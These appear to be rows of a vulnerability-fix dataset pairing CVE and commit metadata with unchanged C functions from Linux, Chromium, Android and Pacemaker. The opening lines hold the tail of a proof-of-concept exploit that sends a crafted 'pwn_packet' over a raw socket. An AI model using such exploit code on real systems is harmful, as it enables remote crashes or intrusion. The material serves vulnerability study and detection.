.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
|
static void oz_clean_endpoints_for_interface(struct usb_hcd *hcd,
struct oz_port *port, int if_ix)
{
struct oz_hcd *ozhcd = port->ozhcd;
unsigned mask;
int i;
LIST_HEAD(ep_list);
struct oz_endpoint *ep, *n;
oz_dbg(ON, "Deleting endpoints for interface %d\n", if_ix);
if (if_ix >= port->num_iface)
return;
spin_lock_bh(&ozhcd->hcd_lock);
mask = port->iface[if_ix].ep_mask;
port->iface[if_ix].ep_mask = 0;
for (i = 0; i < OZ_NB_ENDPOINTS; i++) {
struct list_head *e;
/* Gather OUT endpoints.
*/
if ((mask & (1<<i)) && port->out_ep[i]) {
e = &port->out_ep[i]->link;
port->out_ep[i] = NULL;
/* Remove from isoc list if present.
*/
list_move_tail(e, &ep_list);
}
/* Gather IN endpoints.
*/
if ((mask & (1<<(i+OZ_NB_ENDPOINTS))) && port->in_ep[i]) {
e = &port->in_ep[i]->link;
port->in_ep[i] = NULL;
list_move_tail(e, &ep_list);
}
}
spin_unlock_bh(&ozhcd->hcd_lock);
list_for_each_entry_safe(ep, n, &ep_list, link) {
list_del_init(&ep->link);
oz_ep_free(port, ep);
}
}
|
static void oz_clean_endpoints_for_interface(struct usb_hcd *hcd,
struct oz_port *port, int if_ix)
{
struct oz_hcd *ozhcd = port->ozhcd;
unsigned mask;
int i;
LIST_HEAD(ep_list);
struct oz_endpoint *ep, *n;
oz_dbg(ON, "Deleting endpoints for interface %d\n", if_ix);
if (if_ix >= port->num_iface)
return;
spin_lock_bh(&ozhcd->hcd_lock);
mask = port->iface[if_ix].ep_mask;
port->iface[if_ix].ep_mask = 0;
for (i = 0; i < OZ_NB_ENDPOINTS; i++) {
struct list_head *e;
/* Gather OUT endpoints.
*/
if ((mask & (1<<i)) && port->out_ep[i]) {
e = &port->out_ep[i]->link;
port->out_ep[i] = NULL;
/* Remove from isoc list if present.
*/
list_move_tail(e, &ep_list);
}
/* Gather IN endpoints.
*/
if ((mask & (1<<(i+OZ_NB_ENDPOINTS))) && port->in_ep[i]) {
e = &port->in_ep[i]->link;
port->in_ep[i] = NULL;
list_move_tail(e, &ep_list);
}
}
spin_unlock_bh(&ozhcd->hcd_lock);
list_for_each_entry_safe(ep, n, &ep_list, link) {
list_del_init(&ep->link);
oz_ep_free(port, ep);
}
}
|
C
|
linux
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/f2f703241635fa96fa630b83afcc9a330cc21b7e
|
f2f703241635fa96fa630b83afcc9a330cc21b7e
|
CrOS Shelf: Get rid of 'split view' mode for shelf background
In the new UI, "maximized" and "split view" are treated the same in
specs, so there is no more need for a separate "split view" mode. This
folds it into the "maximized" mode.
Note that the only thing that _seems_ different in
shelf_background_animator is ShelfBackgroundAnimator::kMaxAlpha (255)
vs kShelfTranslucentMaximizedWindow (254), which should be virtually
impossible to distinguish.
This CL therefore does not have any visual effect (and doesn't
directly fix the linked bug, but is relevant).
Bug: 899289
Change-Id: I60947338176ac15ca016b1ba4edf13d16362cb24
Reviewed-on: https://chromium-review.googlesource.com/c/1469741
Commit-Queue: Xiyuan Xia <xiyuan@chromium.org>
Reviewed-by: Xiyuan Xia <xiyuan@chromium.org>
Auto-Submit: Manu Cornet <manucornet@chromium.org>
Cr-Commit-Position: refs/heads/master@{#631752}
|
aura::Window* CreateTestWindowInParent(aura::Window* root_window) {
aura::Window* window = window_factory::NewWindow().release();
window->SetProperty(aura::client::kShowStateKey, ui::SHOW_STATE_NORMAL);
window->SetType(aura::client::WINDOW_TYPE_NORMAL);
window->Init(ui::LAYER_TEXTURED);
aura::client::ParentWindowWithContext(window, root_window, gfx::Rect());
return window;
}
|
aura::Window* CreateTestWindowInParent(aura::Window* root_window) {
aura::Window* window = window_factory::NewWindow().release();
window->SetProperty(aura::client::kShowStateKey, ui::SHOW_STATE_NORMAL);
window->SetType(aura::client::WINDOW_TYPE_NORMAL);
window->Init(ui::LAYER_TEXTURED);
aura::client::ParentWindowWithContext(window, root_window, gfx::Rect());
return window;
}
|
C
|
Chrome
| 0 |
CVE-2011-4112
|
https://www.cvedetails.com/cve/CVE-2011-4112/
|
CWE-264
|
https://github.com/torvalds/linux/commit/550fd08c2cebad61c548def135f67aba284c6162
|
550fd08c2cebad61c548def135f67aba284c6162
|
net: Audit drivers to identify those needing IFF_TX_SKB_SHARING cleared
After the last patch, We are left in a state in which only drivers calling
ether_setup have IFF_TX_SKB_SHARING set (we assume that drivers touching real
hardware call ether_setup for their net_devices and don't hold any state in
their skbs. There are a handful of drivers that violate this assumption of
course, and need to be fixed up. This patch identifies those drivers, and marks
them as not being able to support the safe transmission of skbs by clearning the
IFF_TX_SKB_SHARING flag in priv_flags
Signed-off-by: Neil Horman <nhorman@tuxdriver.com>
CC: Karsten Keil <isdn@linux-pingi.de>
CC: "David S. Miller" <davem@davemloft.net>
CC: Jay Vosburgh <fubar@us.ibm.com>
CC: Andy Gospodarek <andy@greyhouse.net>
CC: Patrick McHardy <kaber@trash.net>
CC: Krzysztof Halasa <khc@pm.waw.pl>
CC: "John W. Linville" <linville@tuxdriver.com>
CC: Greg Kroah-Hartman <gregkh@suse.de>
CC: Marcel Holtmann <marcel@holtmann.org>
CC: Johannes Berg <johannes@sipsolutions.net>
Signed-off-by: David S. Miller <davem@davemloft.net>
|
static int ifb_open(struct net_device *dev)
{
struct ifb_private *dp = netdev_priv(dev);
tasklet_init(&dp->ifb_tasklet, ri_tasklet, (unsigned long)dev);
__skb_queue_head_init(&dp->rq);
__skb_queue_head_init(&dp->tq);
netif_start_queue(dev);
return 0;
}
|
static int ifb_open(struct net_device *dev)
{
struct ifb_private *dp = netdev_priv(dev);
tasklet_init(&dp->ifb_tasklet, ri_tasklet, (unsigned long)dev);
__skb_queue_head_init(&dp->rq);
__skb_queue_head_init(&dp->tq);
netif_start_queue(dev);
return 0;
}
|
C
|
linux
| 0 |
CVE-2013-0838
|
https://www.cvedetails.com/cve/CVE-2013-0838/
|
CWE-264
|
https://github.com/chromium/chromium/commit/0bd1a6ddb5fb23dfea3e72d60e5e8df4cf5826bc
|
0bd1a6ddb5fb23dfea3e72d60e5e8df4cf5826bc
|
Make shared memory segments writable only by their rightful owners.
BUG=143859
TEST=Chrome's UI still works on Linux and Chrome OS
Review URL: https://chromiumcodereview.appspot.com/10854242
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@158289 0039d316-1c4b-4281-b951-d872f2087c98
|
XID GetX11RootWindow() {
return DefaultRootWindow(GetXDisplay());
}
|
XID GetX11RootWindow() {
return DefaultRootWindow(GetXDisplay());
}
|
C
|
Chrome
| 0 |
CVE-2019-13233
|
https://www.cvedetails.com/cve/CVE-2019-13233/
|
CWE-362
|
https://github.com/torvalds/linux/commit/de9f869616dd95e95c00bdd6b0fcd3421e8a4323
|
de9f869616dd95e95c00bdd6b0fcd3421e8a4323
|
x86/insn-eval: Fix use-after-free access to LDT entry
get_desc() computes a pointer into the LDT while holding a lock that
protects the LDT from being freed, but then drops the lock and returns the
(now potentially dangling) pointer to its caller.
Fix it by giving the caller a copy of the LDT entry instead.
Fixes: 670f928ba09b ("x86/insn-eval: Add utility function to get segment descriptor")
Cc: stable@vger.kernel.org
Signed-off-by: Jann Horn <jannh@google.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
|
static bool check_seg_overrides(struct insn *insn, int regoff)
{
if (regoff == offsetof(struct pt_regs, di) && is_string_insn(insn))
return false;
return true;
}
|
static bool check_seg_overrides(struct insn *insn, int regoff)
{
if (regoff == offsetof(struct pt_regs, di) && is_string_insn(insn))
return false;
return true;
}
|
C
|
linux
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/f2f703241635fa96fa630b83afcc9a330cc21b7e
|
f2f703241635fa96fa630b83afcc9a330cc21b7e
|
CrOS Shelf: Get rid of 'split view' mode for shelf background
In the new UI, "maximized" and "split view" are treated the same in
specs, so there is no more need for a separate "split view" mode. This
folds it into the "maximized" mode.
Note that the only thing that _seems_ different in
shelf_background_animator is ShelfBackgroundAnimator::kMaxAlpha (255)
vs kShelfTranslucentMaximizedWindow (254), which should be virtually
impossible to distinguish.
This CL therefore does not have any visual effect (and doesn't
directly fix the linked bug, but is relevant).
Bug: 899289
Change-Id: I60947338176ac15ca016b1ba4edf13d16362cb24
Reviewed-on: https://chromium-review.googlesource.com/c/1469741
Commit-Queue: Xiyuan Xia <xiyuan@chromium.org>
Reviewed-by: Xiyuan Xia <xiyuan@chromium.org>
Auto-Submit: Manu Cornet <manucornet@chromium.org>
Cr-Commit-Position: refs/heads/master@{#631752}
|
void ShelfLayoutManager::CompleteAppListDrag(
const ui::GestureEvent& gesture_in_screen) {
if (gesture_drag_status_ == GESTURE_DRAG_NONE)
return;
HomeLauncherGestureHandler* home_launcher_handler =
Shell::Get()->app_list_controller()->home_launcher_gesture_handler();
DCHECK(home_launcher_handler);
if (home_launcher_handler->OnReleaseEvent(gesture_in_screen.location())) {
gesture_drag_status_ = GESTURE_DRAG_NONE;
return;
}
using app_list::AppListViewState;
AppListViewState app_list_state = AppListViewState::PEEKING;
if (gesture_in_screen.type() == ui::ET_SCROLL_FLING_START &&
fabs(gesture_in_screen.details().velocity_y()) >
kAppListDragVelocityThreshold) {
app_list_state = gesture_in_screen.details().velocity_y() < 0
? AppListViewState::FULLSCREEN_ALL_APPS
: AppListViewState::CLOSED;
} else {
if (IsTabletModeEnabled()) {
app_list_state = launcher_above_shelf_bottom_amount_ >
kAppListDragSnapToFullscreenThreshold
? AppListViewState::FULLSCREEN_ALL_APPS
: AppListViewState::CLOSED;
} else {
if (launcher_above_shelf_bottom_amount_ <=
kAppListDragSnapToClosedThreshold)
app_list_state = AppListViewState::CLOSED;
else if (launcher_above_shelf_bottom_amount_ <=
kAppListDragSnapToPeekingThreshold)
app_list_state = AppListViewState::PEEKING;
else
app_list_state = AppListViewState::FULLSCREEN_ALL_APPS;
}
}
base::Optional<Shelf::ScopedAutoHideLock> auto_hide_lock;
if (app_list_state == AppListViewState::CLOSED)
auto_hide_lock.emplace(shelf_);
Shell::Get()->app_list_controller()->EndDragFromShelf(app_list_state);
gesture_drag_status_ = GESTURE_DRAG_NONE;
}
|
void ShelfLayoutManager::CompleteAppListDrag(
const ui::GestureEvent& gesture_in_screen) {
if (gesture_drag_status_ == GESTURE_DRAG_NONE)
return;
HomeLauncherGestureHandler* home_launcher_handler =
Shell::Get()->app_list_controller()->home_launcher_gesture_handler();
DCHECK(home_launcher_handler);
if (home_launcher_handler->OnReleaseEvent(gesture_in_screen.location())) {
gesture_drag_status_ = GESTURE_DRAG_NONE;
return;
}
using app_list::AppListViewState;
AppListViewState app_list_state = AppListViewState::PEEKING;
if (gesture_in_screen.type() == ui::ET_SCROLL_FLING_START &&
fabs(gesture_in_screen.details().velocity_y()) >
kAppListDragVelocityThreshold) {
app_list_state = gesture_in_screen.details().velocity_y() < 0
? AppListViewState::FULLSCREEN_ALL_APPS
: AppListViewState::CLOSED;
} else {
if (IsTabletModeEnabled()) {
app_list_state = launcher_above_shelf_bottom_amount_ >
kAppListDragSnapToFullscreenThreshold
? AppListViewState::FULLSCREEN_ALL_APPS
: AppListViewState::CLOSED;
} else {
if (launcher_above_shelf_bottom_amount_ <=
kAppListDragSnapToClosedThreshold)
app_list_state = AppListViewState::CLOSED;
else if (launcher_above_shelf_bottom_amount_ <=
kAppListDragSnapToPeekingThreshold)
app_list_state = AppListViewState::PEEKING;
else
app_list_state = AppListViewState::FULLSCREEN_ALL_APPS;
}
}
base::Optional<Shelf::ScopedAutoHideLock> auto_hide_lock;
if (app_list_state == AppListViewState::CLOSED)
auto_hide_lock.emplace(shelf_);
Shell::Get()->app_list_controller()->EndDragFromShelf(app_list_state);
gesture_drag_status_ = GESTURE_DRAG_NONE;
}
|
C
|
Chrome
| 0 |
CVE-2017-6001
|
https://www.cvedetails.com/cve/CVE-2017-6001/
|
CWE-362
|
https://github.com/torvalds/linux/commit/321027c1fe77f892f4ea07846aeae08cefbbb290
|
321027c1fe77f892f4ea07846aeae08cefbbb290
|
perf/core: Fix concurrent sys_perf_event_open() vs. 'move_group' race
Di Shen reported a race between two concurrent sys_perf_event_open()
calls where both try and move the same pre-existing software group
into a hardware context.
The problem is exactly that described in commit:
f63a8daa5812 ("perf: Fix event->ctx locking")
... where, while we wait for a ctx->mutex acquisition, the event->ctx
relation can have changed under us.
That very same commit failed to recognise sys_perf_event_context() as an
external access vector to the events and thereby didn't apply the
established locking rules correctly.
So while one sys_perf_event_open() call is stuck waiting on
mutex_lock_double(), the other (which owns said locks) moves the group
about. So by the time the former sys_perf_event_open() acquires the
locks, the context we've acquired is stale (and possibly dead).
Apply the established locking rules as per perf_event_ctx_lock_nested()
to the mutex_lock_double() for the 'move_group' case. This obviously means
we need to validate state after we acquire the locks.
Reported-by: Di Shen (Keen Lab)
Tested-by: John Dias <joaodias@google.com>
Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>
Cc: Arnaldo Carvalho de Melo <acme@kernel.org>
Cc: Arnaldo Carvalho de Melo <acme@redhat.com>
Cc: Jiri Olsa <jolsa@redhat.com>
Cc: Kees Cook <keescook@chromium.org>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Cc: Min Chong <mchong@google.com>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Stephane Eranian <eranian@google.com>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Vince Weaver <vincent.weaver@maine.edu>
Fixes: f63a8daa5812 ("perf: Fix event->ctx locking")
Link: http://lkml.kernel.org/r/20170106131444.GZ3174@twins.programming.kicks-ass.net
Signed-off-by: Ingo Molnar <mingo@kernel.org>
|
void perf_output_sample(struct perf_output_handle *handle,
struct perf_event_header *header,
struct perf_sample_data *data,
struct perf_event *event)
{
u64 sample_type = data->type;
perf_output_put(handle, *header);
if (sample_type & PERF_SAMPLE_IDENTIFIER)
perf_output_put(handle, data->id);
if (sample_type & PERF_SAMPLE_IP)
perf_output_put(handle, data->ip);
if (sample_type & PERF_SAMPLE_TID)
perf_output_put(handle, data->tid_entry);
if (sample_type & PERF_SAMPLE_TIME)
perf_output_put(handle, data->time);
if (sample_type & PERF_SAMPLE_ADDR)
perf_output_put(handle, data->addr);
if (sample_type & PERF_SAMPLE_ID)
perf_output_put(handle, data->id);
if (sample_type & PERF_SAMPLE_STREAM_ID)
perf_output_put(handle, data->stream_id);
if (sample_type & PERF_SAMPLE_CPU)
perf_output_put(handle, data->cpu_entry);
if (sample_type & PERF_SAMPLE_PERIOD)
perf_output_put(handle, data->period);
if (sample_type & PERF_SAMPLE_READ)
perf_output_read(handle, event);
if (sample_type & PERF_SAMPLE_CALLCHAIN) {
if (data->callchain) {
int size = 1;
if (data->callchain)
size += data->callchain->nr;
size *= sizeof(u64);
__output_copy(handle, data->callchain, size);
} else {
u64 nr = 0;
perf_output_put(handle, nr);
}
}
if (sample_type & PERF_SAMPLE_RAW) {
struct perf_raw_record *raw = data->raw;
if (raw) {
struct perf_raw_frag *frag = &raw->frag;
perf_output_put(handle, raw->size);
do {
if (frag->copy) {
__output_custom(handle, frag->copy,
frag->data, frag->size);
} else {
__output_copy(handle, frag->data,
frag->size);
}
if (perf_raw_frag_last(frag))
break;
frag = frag->next;
} while (1);
if (frag->pad)
__output_skip(handle, NULL, frag->pad);
} else {
struct {
u32 size;
u32 data;
} raw = {
.size = sizeof(u32),
.data = 0,
};
perf_output_put(handle, raw);
}
}
if (sample_type & PERF_SAMPLE_BRANCH_STACK) {
if (data->br_stack) {
size_t size;
size = data->br_stack->nr
* sizeof(struct perf_branch_entry);
perf_output_put(handle, data->br_stack->nr);
perf_output_copy(handle, data->br_stack->entries, size);
} else {
/*
* we always store at least the value of nr
*/
u64 nr = 0;
perf_output_put(handle, nr);
}
}
if (sample_type & PERF_SAMPLE_REGS_USER) {
u64 abi = data->regs_user.abi;
/*
* If there are no regs to dump, notice it through
* first u64 being zero (PERF_SAMPLE_REGS_ABI_NONE).
*/
perf_output_put(handle, abi);
if (abi) {
u64 mask = event->attr.sample_regs_user;
perf_output_sample_regs(handle,
data->regs_user.regs,
mask);
}
}
if (sample_type & PERF_SAMPLE_STACK_USER) {
perf_output_sample_ustack(handle,
data->stack_user_size,
data->regs_user.regs);
}
if (sample_type & PERF_SAMPLE_WEIGHT)
perf_output_put(handle, data->weight);
if (sample_type & PERF_SAMPLE_DATA_SRC)
perf_output_put(handle, data->data_src.val);
if (sample_type & PERF_SAMPLE_TRANSACTION)
perf_output_put(handle, data->txn);
if (sample_type & PERF_SAMPLE_REGS_INTR) {
u64 abi = data->regs_intr.abi;
/*
* If there are no regs to dump, notice it through
* first u64 being zero (PERF_SAMPLE_REGS_ABI_NONE).
*/
perf_output_put(handle, abi);
if (abi) {
u64 mask = event->attr.sample_regs_intr;
perf_output_sample_regs(handle,
data->regs_intr.regs,
mask);
}
}
if (!event->attr.watermark) {
int wakeup_events = event->attr.wakeup_events;
if (wakeup_events) {
struct ring_buffer *rb = handle->rb;
int events = local_inc_return(&rb->events);
if (events >= wakeup_events) {
local_sub(wakeup_events, &rb->events);
local_inc(&rb->wakeup);
}
}
}
}
|
void perf_output_sample(struct perf_output_handle *handle,
struct perf_event_header *header,
struct perf_sample_data *data,
struct perf_event *event)
{
u64 sample_type = data->type;
perf_output_put(handle, *header);
if (sample_type & PERF_SAMPLE_IDENTIFIER)
perf_output_put(handle, data->id);
if (sample_type & PERF_SAMPLE_IP)
perf_output_put(handle, data->ip);
if (sample_type & PERF_SAMPLE_TID)
perf_output_put(handle, data->tid_entry);
if (sample_type & PERF_SAMPLE_TIME)
perf_output_put(handle, data->time);
if (sample_type & PERF_SAMPLE_ADDR)
perf_output_put(handle, data->addr);
if (sample_type & PERF_SAMPLE_ID)
perf_output_put(handle, data->id);
if (sample_type & PERF_SAMPLE_STREAM_ID)
perf_output_put(handle, data->stream_id);
if (sample_type & PERF_SAMPLE_CPU)
perf_output_put(handle, data->cpu_entry);
if (sample_type & PERF_SAMPLE_PERIOD)
perf_output_put(handle, data->period);
if (sample_type & PERF_SAMPLE_READ)
perf_output_read(handle, event);
if (sample_type & PERF_SAMPLE_CALLCHAIN) {
if (data->callchain) {
int size = 1;
if (data->callchain)
size += data->callchain->nr;
size *= sizeof(u64);
__output_copy(handle, data->callchain, size);
} else {
u64 nr = 0;
perf_output_put(handle, nr);
}
}
if (sample_type & PERF_SAMPLE_RAW) {
struct perf_raw_record *raw = data->raw;
if (raw) {
struct perf_raw_frag *frag = &raw->frag;
perf_output_put(handle, raw->size);
do {
if (frag->copy) {
__output_custom(handle, frag->copy,
frag->data, frag->size);
} else {
__output_copy(handle, frag->data,
frag->size);
}
if (perf_raw_frag_last(frag))
break;
frag = frag->next;
} while (1);
if (frag->pad)
__output_skip(handle, NULL, frag->pad);
} else {
struct {
u32 size;
u32 data;
} raw = {
.size = sizeof(u32),
.data = 0,
};
perf_output_put(handle, raw);
}
}
if (sample_type & PERF_SAMPLE_BRANCH_STACK) {
if (data->br_stack) {
size_t size;
size = data->br_stack->nr
* sizeof(struct perf_branch_entry);
perf_output_put(handle, data->br_stack->nr);
perf_output_copy(handle, data->br_stack->entries, size);
} else {
/*
* we always store at least the value of nr
*/
u64 nr = 0;
perf_output_put(handle, nr);
}
}
if (sample_type & PERF_SAMPLE_REGS_USER) {
u64 abi = data->regs_user.abi;
/*
* If there are no regs to dump, notice it through
* first u64 being zero (PERF_SAMPLE_REGS_ABI_NONE).
*/
perf_output_put(handle, abi);
if (abi) {
u64 mask = event->attr.sample_regs_user;
perf_output_sample_regs(handle,
data->regs_user.regs,
mask);
}
}
if (sample_type & PERF_SAMPLE_STACK_USER) {
perf_output_sample_ustack(handle,
data->stack_user_size,
data->regs_user.regs);
}
if (sample_type & PERF_SAMPLE_WEIGHT)
perf_output_put(handle, data->weight);
if (sample_type & PERF_SAMPLE_DATA_SRC)
perf_output_put(handle, data->data_src.val);
if (sample_type & PERF_SAMPLE_TRANSACTION)
perf_output_put(handle, data->txn);
if (sample_type & PERF_SAMPLE_REGS_INTR) {
u64 abi = data->regs_intr.abi;
/*
* If there are no regs to dump, notice it through
* first u64 being zero (PERF_SAMPLE_REGS_ABI_NONE).
*/
perf_output_put(handle, abi);
if (abi) {
u64 mask = event->attr.sample_regs_intr;
perf_output_sample_regs(handle,
data->regs_intr.regs,
mask);
}
}
if (!event->attr.watermark) {
int wakeup_events = event->attr.wakeup_events;
if (wakeup_events) {
struct ring_buffer *rb = handle->rb;
int events = local_inc_return(&rb->events);
if (events >= wakeup_events) {
local_sub(wakeup_events, &rb->events);
local_inc(&rb->wakeup);
}
}
}
}
|
C
|
linux
| 0 |
CVE-2016-3839
|
https://www.cvedetails.com/cve/CVE-2016-3839/
|
CWE-284
|
https://android.googlesource.com/platform/system/bt/+/472271b153c5dc53c28beac55480a8d8434b2d5c
|
472271b153c5dc53c28beac55480a8d8434b2d5c
|
DO NOT MERGE Fix potential DoS caused by delivering signal to BT process
Bug: 28885210
Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360
Conflicts:
btif/co/bta_hh_co.c
btif/src/btif_core.c
Merge conflict resolution of ag/1161415 (referencing ag/1164670)
- Directly into mnc-mr2-release
|
void config_set_int(config_t *config, const char *section, const char *key, int value) {
assert(config != NULL);
assert(section != NULL);
assert(key != NULL);
char value_str[32] = { 0 };
sprintf(value_str, "%d", value);
config_set_string(config, section, key, value_str);
}
|
void config_set_int(config_t *config, const char *section, const char *key, int value) {
assert(config != NULL);
assert(section != NULL);
assert(key != NULL);
char value_str[32] = { 0 };
sprintf(value_str, "%d", value);
config_set_string(config, section, key, value_str);
}
|
C
|
Android
| 0 |
CVE-2014-1710
|
https://www.cvedetails.com/cve/CVE-2014-1710/
|
CWE-119
|
https://github.com/chromium/chromium/commit/b71fc042e1124cda2ab51dfdacc2362da62779a6
|
b71fc042e1124cda2ab51dfdacc2362da62779a6
|
Add bounds validation to AsyncPixelTransfersCompletedQuery::End
BUG=351852
R=jbauman@chromium.org, jorgelo@chromium.org
Review URL: https://codereview.chromium.org/198253002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@256723 0039d316-1c4b-4281-b951-d872f2087c98
|
GLenum QueryManager::AdjustTargetForEmulation(GLenum target) {
switch (target) {
case GL_ANY_SAMPLES_PASSED_CONSERVATIVE_EXT:
case GL_ANY_SAMPLES_PASSED_EXT:
if (use_arb_occlusion_query2_for_occlusion_query_boolean_) {
target = GL_ANY_SAMPLES_PASSED_EXT;
} else if (use_arb_occlusion_query_for_occlusion_query_boolean_) {
target = GL_SAMPLES_PASSED_ARB;
}
break;
default:
break;
}
return target;
}
|
GLenum QueryManager::AdjustTargetForEmulation(GLenum target) {
switch (target) {
case GL_ANY_SAMPLES_PASSED_CONSERVATIVE_EXT:
case GL_ANY_SAMPLES_PASSED_EXT:
if (use_arb_occlusion_query2_for_occlusion_query_boolean_) {
target = GL_ANY_SAMPLES_PASSED_EXT;
} else if (use_arb_occlusion_query_for_occlusion_query_boolean_) {
target = GL_SAMPLES_PASSED_ARB;
}
break;
default:
break;
}
return target;
}
|
C
|
Chrome
| 0 |
CVE-2015-6252
|
https://www.cvedetails.com/cve/CVE-2015-6252/
|
CWE-399
|
https://github.com/torvalds/linux/commit/7932c0bd7740f4cd2aa168d3ce0199e7af7d72d5
|
7932c0bd7740f4cd2aa168d3ce0199e7af7d72d5
|
vhost: actually track log eventfd file
While reviewing vhost log code, I found out that log_file is never
set. Note: I haven't tested the change (QEMU doesn't use LOG_FD yet).
Cc: stable@vger.kernel.org
Signed-off-by: Marc-André Lureau <marcandre.lureau@redhat.com>
Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
|
static void *vhost_kvzalloc(unsigned long size)
{
void *n = kzalloc(size, GFP_KERNEL | __GFP_NOWARN | __GFP_REPEAT);
if (!n) {
n = vzalloc(size);
if (!n)
return ERR_PTR(-ENOMEM);
}
return n;
}
|
static void *vhost_kvzalloc(unsigned long size)
{
void *n = kzalloc(size, GFP_KERNEL | __GFP_NOWARN | __GFP_REPEAT);
if (!n) {
n = vzalloc(size);
if (!n)
return ERR_PTR(-ENOMEM);
}
return n;
}
|
C
|
linux
| 0 |
CVE-2016-7035
|
https://www.cvedetails.com/cve/CVE-2016-7035/
|
CWE-285
|
https://github.com/ClusterLabs/pacemaker/commit/5d71e65049
|
5d71e65049
|
High: libcrmcommon: fix CVE-2016-7035 (improper IPC guarding)
It was discovered that at some not so uncommon circumstances, some
pacemaker daemons could be talked to, via libqb-facilitated IPC, by
unprivileged clients due to flawed authorization decision. Depending
on the capabilities of affected daemons, this might equip unauthorized
user with local privilege escalation or up to cluster-wide remote
execution of possibly arbitrary commands when such user happens to
reside at standard or remote/guest cluster node, respectively.
The original vulnerability was introduced in an attempt to allow
unprivileged IPC clients to clean up the file system materialized
leftovers in case the server (otherwise responsible for the lifecycle
of these files) crashes. While the intended part of such behavior is
now effectively voided (along with the unintended one), a best-effort
fix to address this corner case systemically at libqb is coming along
(https://github.com/ClusterLabs/libqb/pull/231).
Affected versions: 1.1.10-rc1 (2013-04-17) - 1.1.15 (2016-06-21)
Impact: Important
CVSSv3 ranking: 8.8 : AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Credits for independent findings, in chronological order:
Jan "poki" Pokorný, of Red Hat
Alain Moulle, of ATOS/BULL
|
crm_ipc_send(crm_ipc_t * client, xmlNode * message, enum crm_ipc_flags flags, int32_t ms_timeout,
xmlNode ** reply)
{
long rc = 0;
struct iovec *iov;
static uint32_t id = 0;
static int factor = 8;
struct crm_ipc_response_header *header;
crm_ipc_init();
if (client == NULL) {
crm_notice("Invalid connection");
return -ENOTCONN;
} else if (crm_ipc_connected(client) == FALSE) {
/* Don't even bother */
crm_notice("Connection to %s closed", client->name);
return -ENOTCONN;
}
if (ms_timeout == 0) {
ms_timeout = 5000;
}
if (client->need_reply) {
crm_trace("Trying again to obtain pending reply from %s", client->name);
rc = qb_ipcc_recv(client->ipc, client->buffer, client->buf_size, ms_timeout);
if (rc < 0) {
crm_warn("Sending to %s (%p) is disabled until pending reply is received", client->name,
client->ipc);
return -EALREADY;
} else {
crm_notice("Lost reply from %s (%p) finally arrived, sending re-enabled", client->name,
client->ipc);
client->need_reply = FALSE;
}
}
id++;
CRM_LOG_ASSERT(id != 0); /* Crude wrap-around detection */
rc = crm_ipc_prepare(id, message, &iov, client->max_buf_size);
if(rc < 0) {
return rc;
}
header = iov[0].iov_base;
header->flags |= flags;
if(is_set(flags, crm_ipc_proxied)) {
/* Don't look for a synchronous response */
clear_bit(flags, crm_ipc_client_response);
}
if(header->size_compressed) {
if(factor < 10 && (client->max_buf_size / 10) < (rc / factor)) {
crm_notice("Compressed message exceeds %d0%% of the configured ipc limit (%u bytes), "
"consider setting PCMK_ipc_buffer to %u or higher",
factor, client->max_buf_size, 2 * client->max_buf_size);
factor++;
}
}
crm_trace("Sending from client: %s request id: %d bytes: %u timeout:%d msg...",
client->name, header->qb.id, header->qb.size, ms_timeout);
if (ms_timeout > 0 || is_not_set(flags, crm_ipc_client_response)) {
rc = internal_ipc_send_request(client, iov, ms_timeout);
if (rc <= 0) {
crm_trace("Failed to send from client %s request %d with %u bytes...",
client->name, header->qb.id, header->qb.size);
goto send_cleanup;
} else if (is_not_set(flags, crm_ipc_client_response)) {
crm_trace("Message sent, not waiting for reply to %d from %s to %u bytes...",
header->qb.id, client->name, header->qb.size);
goto send_cleanup;
}
rc = internal_ipc_get_reply(client, header->qb.id, ms_timeout);
if (rc < 0) {
/* No reply, for now, disable sending
*
* The alternative is to close the connection since we don't know
* how to detect and discard out-of-sequence replies
*
* TODO - implement the above
*/
client->need_reply = TRUE;
}
} else {
rc = internal_ipc_send_recv(client, iov);
}
if (rc > 0) {
struct crm_ipc_response_header *hdr = (struct crm_ipc_response_header *)(void*)client->buffer;
crm_trace("Received response %d, size=%u, rc=%ld, text: %.200s", hdr->qb.id, hdr->qb.size,
rc, crm_ipc_buffer(client));
if (reply) {
*reply = string2xml(crm_ipc_buffer(client));
}
} else {
crm_trace("Response not received: rc=%ld, errno=%d", rc, errno);
}
send_cleanup:
if (crm_ipc_connected(client) == FALSE) {
crm_notice("Connection to %s closed: %s (%ld)", client->name, pcmk_strerror(rc), rc);
} else if (rc == -ETIMEDOUT) {
crm_warn("Request %d to %s (%p) failed: %s (%ld) after %dms",
header->qb.id, client->name, client->ipc, pcmk_strerror(rc), rc, ms_timeout);
crm_write_blackbox(0, NULL);
} else if (rc <= 0) {
crm_warn("Request %d to %s (%p) failed: %s (%ld)",
header->qb.id, client->name, client->ipc, pcmk_strerror(rc), rc);
}
free(header);
free(iov[1].iov_base);
free(iov);
return rc;
}
|
crm_ipc_send(crm_ipc_t * client, xmlNode * message, enum crm_ipc_flags flags, int32_t ms_timeout,
xmlNode ** reply)
{
long rc = 0;
struct iovec *iov;
static uint32_t id = 0;
static int factor = 8;
